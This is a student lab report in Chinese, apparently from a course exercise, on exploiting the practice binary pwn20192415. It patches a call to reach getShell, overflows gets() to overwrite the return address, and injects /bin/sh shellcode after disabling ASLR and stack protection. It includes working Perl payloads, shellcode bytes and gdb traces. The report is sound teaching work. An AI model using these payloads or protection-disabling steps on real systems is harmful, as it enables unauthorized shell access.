实践对象:一个名为pwn1的linux可执行文件(已改名为pwn20192415)。
程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。
正常情况下getShell是不会被运行的。实践目标就是想办法运行getShell。
实践内容:
1.2.1 汇编知识
1.2.2 Linux操作
1.2.3 其他
2.1.1 对目标文件pwn20192415反汇编,观察函数地址
objdump -d pwn20192415 | more #反汇编文件pwn20192415的代码段,并分页显示 /getShell #寻找getShell函数所在地址
main函数中,汇编指令"call 8048491 "将调用位于地址8048491处的foo函数。
对应机器指令为“e8 d7ffffff”,e8即“跳转”,CPU将执行地址为“EIP + d7ffffff”处指令。
从核心代码可知,foo函数的地址为0x8048491,则跳转时EIP=0x8048491-0xffffffd7=80484ba。
2.1.2 更改e8指令跳转地址
现在我们希望main调用getShell函数,则需要改变“e8”后的值。
从核心代码可知,getShell函数的地址为0x804847d,0x804847d-0x80484ba=0xffffffc3,所以应将“e8”后的值更改为“c3ffffff”,也就是需要把“d7”改为“c3”。
vi pwn20192415 #进入目标文件 :%!xxd #转换为16进制 /d7 #查找要修改的内容, rcr3 #用r将“d7”修改为c3 :%!xxd -r #转换16进制为原格式 :wq #保存退出 objdump -d pwn20192415 | more #反汇编查修改是否正确
修改完成后,函数汇编指令如图:
2.1.3 实验效果
再次运行pwn20192415,程序执行流程改变。
原先程序输入字符串会回显,现在会出现一个shell、可以输入任何指令。
2.2.1 对目标文件pwn20192415反汇编,观察漏洞
文件反汇编结果与2.1.1相同,观察代码并分析栈的内容。
08048491 <foo>: 8048491: 55 push %ebp 8048492: 89 e5 mov %esp,%ebp 8048494: 83 ec 38 sub $0x38,%esp #预留0x38(56字节)给局部变量 8048497: 8d 45 e4 lea -0x1c(%ebp),%eax #预留0x1c(28字节)给“gets”得到的字符串 804849a: 89 04 24 mov %eax,(%esp) #读入字符串,超出部分溢出 804849d: e8 8e fe ff ff call 8048330 <gets@plt> 80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax 80484a5: 89 04 24 mov %eax,(%esp) 80484a8: e8 93 fe ff ff call 8048340 <puts@plt> 80484ad: c9 leave 80484ae: c3 ret 080484af <main>: 80484af: 55 push %ebp 80484b0: 89 e5 mov %esp,%ebp 80484b2: 83 e4 f0 and $0xfffffff0,%esp 80484b5: e8 d7 ff ff ff call 8048491 <foo> #调用foo,同时在堆栈上压上返回地址80484ba 80484ba: b8 00 00 00 00 mov $0x0,%eax 80484bf: c9 leave 80484c0: c3 ret 80484c1: 66 90 xchg %ax,%ax ··············
观察可知,该函数预留0x38(56字节)给局部变量,预留0x1c(28字节)给“gets”得到的字符串。
若gets中得到的字符串长于32字节(28——0x1c + 4——EBP),则会覆盖到EIP位置。
只要我们构造的字符串能够溢出到EIP所在位置,将其中的返回地址“80484ba”覆盖为getShell函数的地址“804847d”,则程序执行完foo函数后将返回到getShell函数去执行。
2.2.2 确认输入字符串哪几个字符会覆盖到返回地址
使用gdb进行调试,输入“r”运行代码。
gdb pwn20192415 #进入gdb,调试程序pwn20192415
输入长度为36字节的字符串“12345abcdefghijklmnopqrstuvwxyz67890”,回显后提示发生段错误。
(gdb) r Starting program: /root/pwn20192415 12345abcdefghijklmnopqrstuvwxyz67890 12345abcdefghijklmnopqrstuvwxyz67890 Program received signal SIGSEGV, Segmentation fault. 0x30393837 in ?? ()
查看当前所有寄存器的值,其中EIP的值为“0x30393837”,对应字符“0987”,正是我们输入的第33~36个字节的内容。
(gdb) info r #显示寄存器的值 eax 0x25 37 ecx 0xf7fad890 -134555504 edx 0x25 37 ebx 0x0 0 esp 0xffffd360 0xffffd360 ebp 0x367a7978 0x367a7978 esi 0xf7fac000 -134561792 edi 0xf7fac000 -134561792 eip 0x30393837 0x30393837 eflags 0x10246 [ PF ZF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
因此,可以判断输入的第33~36个字节的内容会覆盖到栈上的返回地址,进而CPU会尝试运行这个位置的代码。
那么,只要将这四个字节的内容替换为getShell的内存地址“804847d”,pwn20192415就会运行getShell。
2.2.3 确认字节序,构造字符串
输入为“7890”时EIP的值为“0x30393837”,说明字节序是小端优先。
想要得到“0804847d”,输入顺序应该为“7d 84 04 08”,也即为“32个字符+\x7d\x84\x04\x08”。
但“\x7d\x84\x04\x08”无法通过键盘输入,要用程序来完成(Perl)。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20192415 #把这一串字符存在文件input20192415中(0a即回车,若没有则程序运行时需要手工按) xxd input20192415 #验证构造的字符串是否符合预期
2.2.4 实验效果
(cat input20192415; cat) | ./pwn20192415 #通过管道符,将input20192415作为pwn20192415的输入
2.3.1 准备shellcode
shellcode就是一段机器指令(code)。
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
本次实验直接使用许心远学姐编写好的shellcode,如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\ #这是一段实现shell返回的shellcode
2.3.2 修改设置,堆栈可执行,关闭地址随机化
修改设置:
apt-get install execstack #安装execstack execstack -s pwn20192415 #设置堆栈可执行 echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
ASLR(Address Space Layout Randomization,地址空间布局随机化)是一种针对缓冲区溢出的安全保护技术。借助ASLR,文件每次加载到内存的起始地址都会随机变化。
/proc/sys/kernel/randomize_va_space用于控制Linux下内存地址随机化机制,有以下三种情况:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
查看设置效果:
execstack -q pwn20192415 #查询文件的堆栈是否可执行 X pwn20192415 more /proc/sys/kernel/randomize_va_space 0
2.3.3 构造要注入的payload
linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode #本次实验真正使用的是anything+retaddr+nops+shellcode nop+shellcode+retaddr
retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单来说,缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
本次实验我们使用的是构造方法是 anything+retaddr+nops+shellcode 。
要做的第一步是确定retaddr的内存地址和应存放的内容。
先以如下内容作为输入,进行gdb调试并查看寄存器的变化过程:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20192415 #此处结尾必须为“\x00”,通过人工输入回车使foo函数继续执行,便于断点的设置
在一个终端中运行pwn20192415,在另一个终端中进行gdb调试:
(cat input_shellcode20192415;cat) | ./pwn20192415 #打开一个终端注入攻击buff ps -ef | grep pwn20192415 #找到pwn20192415进程号 gdb #启动gdb调试进程
调试过程如下:
(gdb) attach 1785 Attaching to process 1785 ······ 0xf7fd3079 in __kernel_vsyscall () (gdb) disassemble foo #设置断点 Dump of assembler code for function foo: 0x08048491 <+0>: push %ebp 0x08048492 <+1>: mov %esp,%ebp 0x08048494 <+3>: sub $0x38,%esp 0x08048497 <+6>: lea -0x1c(%ebp),%eax 0x0804849a <+9>: mov %eax,(%esp) 0x0804849d <+12>: call 0x8048330 <gets@plt> 0x080484a2 <+17>: lea -0x1c(%ebp),%eax 0x080484a5 <+20>: mov %eax,(%esp) 0x080484a8 <+23>: call 0x8048340 <puts@plt> 0x080484ad <+28>: leave 0x080484ae <+29>: ret End of assembler dump. (gdb) break *0x080484ae Breakpoint 1 at 0x80484ae (gdb) c Continuing. Breakpoint 1, 0x080484ae in foo () (gdb) info r eax 0x25 37 ecx 0xf7fad890 -134555504 edx 0x25 37 ebx 0x0 0 esp 0xffffd37c 0xffffd37c ebp 0x9080cd0b 0x9080cd0b esi 0xf7fac000 -134561792 edi 0xf7fac000 -134561792 eip 0x80484ae 0x80484ae <foo+29> eflags 0x246 [ PF ZF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) si #单步执行观察esp和eip的变化 0x01020304 in ?? () (gdb) info r eax 0x25 37 ecx 0xf7fad890 -134555504 edx 0x25 37 ebx 0x0 0 esp 0xffffd380 0xffffd380 ebp 0x9080cd0b 0x9080cd0b esi 0xf7fac000 -134561792 edi 0xf7fac000 -134561792 eip 0x1020304 0x1020304 eflags 0x246 [ PF ZF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/16x 0xffffd380 #以16进制显示16个字符 0xffffd380: 0xf7fa0000 0xf7fac000 0x00000000 0xf7decb41 0xffffd390: 0x00000001 0xffffd424 0xffffd42c 0xffffd3b4 0xffffd3a0: 0x00000001 0x00000000 0xf7fac000 0xffffffff 0xffffd3b0: 0xf7ffd000 0x00000000 0xf7fac000 0xf7fac000 (gdb) x/16x 0xffffd37c 0xffffd37c: 0x01020304 0xf7fa0000 0xf7fac000 0x00000000 0xffffd38c: 0xf7decb41 0x00000001 0xffffd424 0xffffd42c 0xffffd39c: 0xffffd3b4 0x00000001 0x00000000 0xf7fac000 0xffffd3ac: 0xffffffff 0xf7ffd000 0x00000000 0xf7fac000 (gdb) x/16x 0xffffd35c 0xffffd35c: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873 0xffffd36c: 0x896e6962 0x895350e3 0xb0d231e1 0x9080cd0b 0xffffd37c: 0x01020304 0xf7fa0000 0xf7fac000 0x00000000 0xffffd38c: 0xf7decb41 0x00000001 0xffffd424 0xffffd42c
由调试过程可知,输入字符的前32字节将从内存地址0xffff5c开始填充,33~36字节将从0xffff7c处开始填充,36字节之后将从0xffff80处开始填充。
同时,0xffff7c处开始的4个字节将作为EIP返回地址,这就是我们寻找的retaddr的内存地址。
而retaddr的内容,即输入字符的33~36字节内容,应该指向构造的shellcode。
我们可以将shellcode放置在输入字符的第36字节之后,当其装入内存后,0xffff80就是shellcode的起始地址(即retaddr的内容、输入字符的33~36字节内容)。
综上,最终构造的输入字符如下:
perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode20192415_2 #若结尾使用“\x00”,运行程序后输入回车进入shell;若结尾使用“\x0a”,运行程序后直接进入shell
2.3.4 实验效果
问题2:文件没有运行权限。
问题2解决方案:
ls -alh #查看权限 chmod +x pwn20192415 #增加执行权限
问题3:构造方式nop+shellcode+retaddr为什么没成功?
问题3原因:使用构造方式nop+shellcode+retaddr,其中“nop+shellcode”占输入字符的前32字节,“retaddr”占后4字节。
构造字符为:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x5c\xd3\xff\xff\x00"' > input_shellcode
实际运行过程中该方式未成功,进行单步调试查找原因,程序能够跳转到shellcode,问题出现在shellcode中的“push %ebx”。
可能是代码也栈上,当前栈顶也在这,push后就把指令给覆盖了,非常巧合。
通过本次实现,我不仅实现了缓冲区溢出漏洞攻击,而且理解了调用函数时栈和寄存器的变化过程。
三个实践内容步步深入,使我逐渐熟悉了汇编语言、机器指令,增强了分析汇编指令执行过程的能力。
但这次实验也反映出,我对Linux命令、汇编知识的学习掌握还不够深入与熟练,需要继续不断学习不断巩固。
同时,本次实验是在“关闭堆栈执行保护、关闭地址随机化”的条件下才成功实现了缓冲区溢出漏洞攻击,如果抛开这样的条件限制,是否能够实现缓冲区溢出漏洞攻击、应该如何实现?还有许多内容需要学习。
感谢实验过程中老师的教导指导、同学的讨论互助,未来我们一起努力一起进步!